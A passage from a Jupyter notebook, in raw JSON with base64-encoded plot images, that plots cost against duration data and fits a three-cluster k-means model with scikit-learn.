QAR8S+kILmOdKGeeyV9uEG1mdWcw8OsOg8ALwJvqTBvPrB70bVV\nciDp/+uB0oSIeDgivhMRR5Iu8vSRYlZn8bOt5lWb1YnDw6wKka59/i3gHEkfkjRd0n6SPgb8GHgB\n+JGk3SS9Efi/wDXF/o4Jkr4r6RBJu0h6PelCT38pVr+Y1EI5UtLWxQ54s2HN4WFWvTOBrwJfILU2\nribtJF9Duj73FqRLd14H/I505UVIR1dNBn5Iukrbz4DbgTMAIuJx4Gzgy8BS4DsNeTZmQ+CjrczM\nLJtbHmZmls3hYWZm2RweZmaWzeFhZmbZHB5mZpbN4WFmZtkcHmZmls3hYWZm2RweZmaW7f8D3HON\npXYuuxQAAAAASUVORK5CYII=\n", "text/plain": [ "<matplotlib.figure.Figure at 0x1b45def0>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "plt.figure(figsize=(6,6))\n", "\n", "plt.xlabel(\"cost\",fontsize=14)\n", "plt.ylabel(\"duration\", fontsize=14)\n", "\n", "plt.title(\"Before Clustering \", fontsize=20)\n", "\n", "plt.plot(x, y, 'k.', color='#0080ff', markersize=30, alpha=0.6)\n", "\n", "plt.show()" ] }, { "cell_type": "code", "execution_count": 61, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/plain": [ "KMeans(copy_x=True, init='k-means++', max_iter=300, n_clusters=3, n_init=10,\n", " n_jobs=1, precompute_distances='auto', random_state=None, tol=0.0001,\n", " verbose=0)" ] }, "execution_count": 61, "metadata": {}, "output_type": "execute_result" } ], "source": [ " kmeans = KMeans(init='k-means++', n_clusters=3, n_init=10)\n", "\n", "# kmeans = KMeans(init='random', n_clusters=3, n_init=10)\n", "\n", "kmeans.fit(data)" ] }, { "cell_type": "code", "execution_count": 63, "metadata": { "collapsed": false }, "outputs": [ { "data": { "image/png": "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\nbrNwYarUr